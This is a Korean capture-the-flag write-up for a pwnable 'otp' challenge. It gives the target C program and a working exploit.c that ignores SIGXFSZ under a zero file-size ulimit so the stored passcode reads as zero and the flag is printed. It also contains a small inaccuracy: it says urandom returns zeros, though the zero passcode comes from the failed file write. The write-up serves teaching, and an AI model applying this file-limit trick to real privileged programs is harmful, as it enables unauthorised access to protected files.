ulimit 으로 푸는 문제라 하더라고요,,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
int main(int argc, char* argv[]){
char fname[128];
unsigned long long otp[2];
if(argc!=2){
printf("usage : ./otp [passcode]\n");
return 0;
}
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1) exit(-1);
if(read(fd, otp, 16)!=16) exit(-1);
close(fd);
sprintf(fname, "/tmp/%llu", otp[0]);
FILE* fp = fopen(fname, "w");
if(fp==NULL){ exit(-1); }
fwrite(&otp[1], 8, 1, fp);
fclose(fp);
printf("OTP generated.\n");
unsigned long long passcode=0;
FILE* fp2 = fopen(fname, "r");
if(fp2==NULL){ exit(-1); }
fread(&passcode, 8, 1, fp2);
fclose(fp2);
if(strtoul(argv[1], 0, 16) == passcode){
printf("Congratz!\n");
system("/bin/cat flag");
}
else{
printf("OTP mismatch\n");
}
unlink(fname);
return 0;
}
|
cs |
/tmp/(urandom 8byte) 에 urandom 8byte 를 저장해 passcode 와 8바이트 비교하는 코드입니다.
ulimit 명령어로 파일사이즈에 limit 을 걸어 /dev/urandom 에서 \x00 을 읽어오게해서
flag 를 읽으면 될 것같습니다.
ulimit -f 0 으로 파일사이즈 limit 을 걸 수 있고, 실행해보면 signal 이 발생하며 종료됩니다.
signal 을 무시하고 자식프로세스를 생성하는 C 코드를 작성해 봅시다.
(ulimit 을 늘리려고하면 권한때문에 오류가 나니, 로그아웃하고 들어와서 tmp 디렉토리에 폴더를 생성한다.)
일단, 비밀번호가 맞을 때, /bin/cat flag 명령어가 실행되기 떄문에, tmp 디렉토리에 flag 파일 소프트링크를 걸어줍시다.
무시해야할 signal 은 SIGXFSZ(25) 입니다.
void (*signal(int signum, void (*handler)(int)))(int);
signal 함수는 signal.h 파일에 다음과 같이 선언되어있고,
두번째 인자인 handler 에는 SIG_IGN 를 넣어 시그널을 무시할 수 있다.
exploit.c
1
2
3
4
5
6
7
8
|
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
int main(void){
signal(SIGXFSZ,SIG_IGN);
char *argv[]={"/home/otp","\x00",NULL};
execv("/home/otp/otp",argv);
}
|
cs |
exploit.c 파일을 컴파일한 뒤, ulimit 을 걸고 실행하면 된다.